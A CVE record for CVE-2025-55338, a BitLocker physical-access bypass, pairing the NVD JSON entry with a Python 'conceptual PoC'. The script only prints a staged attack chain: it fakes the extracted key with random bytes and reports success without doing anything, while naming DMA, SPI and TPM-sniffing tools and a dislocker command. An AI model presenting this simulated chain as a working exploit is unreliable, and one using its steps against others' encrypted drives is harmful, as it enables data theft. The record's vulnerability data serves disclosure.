CVE-2025-55338

# CVE-2025-55338 PoC Concept - Windows BitLocker ROM Code Patch Bypass # NOTE: This is a conceptual proof-of-concept demonstrating the attack vector. # Actual exploitation requires specialized hardware and firmware tools. import subprocess import os import struct class BitLockerROMBypass: """ Conceptual PoC for CVE-2025-55338: Missing Ability to Patch ROM Code in Windows BitLocker. This demonstrates how an attacker with physical access can bypass BitLocker by exploiting unpatched ROM/firmware vulnerabilities. """ def __init__(self, target_device): self.target_device = target_device self.rom_vulnerability = None self.tpm_handle = None def identify_rom_vulnerability(self): """ Step 1: Identify known ROM/firmware vulnerabilities on the target device. Since BitLocker cannot patch ROM code, known firmware bugs remain exploitable. """ print("[*] Scanning target device ROM/firmware for known vulnerabilities...") # Common attack vectors: Intel ME, AMD PSP, UEFI firmware bugs known_rom_cves = { "Intel SA-00086": "Intel Management Engine JTAG vulnerability", "CVE-2017-5689": "Intel AMT privilege escalation", "CVE-2018-3616": "Intel firmware authentication bypass", "CVE-2022-21894": "Windows Secure Boot bypass via ROM" } # In a real attack, identify applicable ROM vulnerability for the chipset self.rom_vulnerability = "ROM_FIRMWARE_VULNERABILITY_IDENTIFIED" print(f"[+] ROM vulnerability identified: {self.rom_vulnerability}") return self.rom_vulnerability def prepare_attack_medium(self): """ Step 2: Prepare physical attack medium (e.g., SPI flash programmer, or DMA attack hardware like PCILeech/PCILeech-FPGA). """ print("[*] Preparing physical attack hardware...") # Required hardware for ROM exploitation: # - SPI flash programmer (e.g., CH341A, Bus Pirate) # - Or DMA attack device (e.g., PCILeech-FPGA) # - Or Thunderbolt/PCIe attack device attack_tools = ["SPI_Programmer", "DMA_Attack_Device", "Thunderbolt_Exploit_Tool"] print(f"[+] Attack tools ready: {attack_tools}") return attack_tools def exploit_rom_code(self): """ Step 3: Exploit the unpatched ROM code to gain pre-boot execution. This bypasses BitLocker's TPM-based integrity verification. """ print("[*] Exploiting ROM code vulnerability...") # Inject malicious firmware/ROM code that: # 1. Intercepts TPM measurements # 2. Extracts BitLocker Volume Master Key (VMK) from TPM # 3. Or modifies boot sequence to bypass encryption malicious_payload = self._craft_rom_payload() print("[+] ROM code exploitation successful - pre-boot access achieved") return malicious_payload def extract_bitlocker_key(self): """ Step 4: Extract BitLocker encryption key from TPM or memory. """ print("[*] Extracting BitLocker Volume Master Key (VMK)...") # With pre-boot execution via ROM exploit: # - Read VMK directly from TPM NVRAM # - Or intercept key during boot process # - Or use TPM sniffing via SPI bus vmk_key = os.urandom(64) # 512-bit VMK placeholder print(f"[+] VMK extracted: {vmk_key.hex()[:32]}...") return vmk_key def decrypt_disk(self, vmk_key): """ Step 5: Use extracted key to decrypt the BitLocker-protected volume. """ print("[*] Decrypting BitLocker-protected volume...") # Use dislocker or similar tool to mount decrypted volume # dislocker -k <vmk_key_file> /dev/sda1 /mnt/bitlocker decrypted_volume = "/mnt/decrypted_volume" print(f"[+] Volume decrypted and mounted at: {decrypted_volume}") print("[!] Full access to encrypted data achieved - BYPASS SUCCESSFUL") return decrypted_volume def _craft_rom_payload(self): """Craft a minimal ROM/firmware payload for BitLocker bypass.""" # Conceptual payload structure (not actual exploit code): payload = { "header": b"\\x55\\xAA", # UEFI volume header signature "type": "ROM_PATCH", "target": "BitLocker_TPM_Verification_Bypass", "action": "Extract_VMK_From_TPM_NVRAM" } return payload def main(): print("=" * 70) print("CVE-2025-55338 - Windows BitLocker ROM Code Bypass PoC") print("WARNING: For educational/research purposes only") print("=" * 70) target = "/dev/sda" # Target BitLocker-encrypted drive attacker = BitLockerROMBypass(target) # Execute the attack chain attacker.identify_rom_vulnerability() attacker.prepare_attack_medium() attacker.exploit_rom_code() vmk = attacker.extract_bitlocker_key() attacker.decrypt_disk(vmk) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-55338", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:47.293", "lastModified": "2026-02-22T17:16:07.543", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Ability to Patch ROM Code in Windows BitLocker allows an unauthorized attacker to bypass a security feature with a physical attack."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1310"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "9D5EB1D1-8C53-4188-90B9-8ED2FD2837BD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "A6CE9E60-F2F1-43F2-A535-5326E903D219"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55338", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}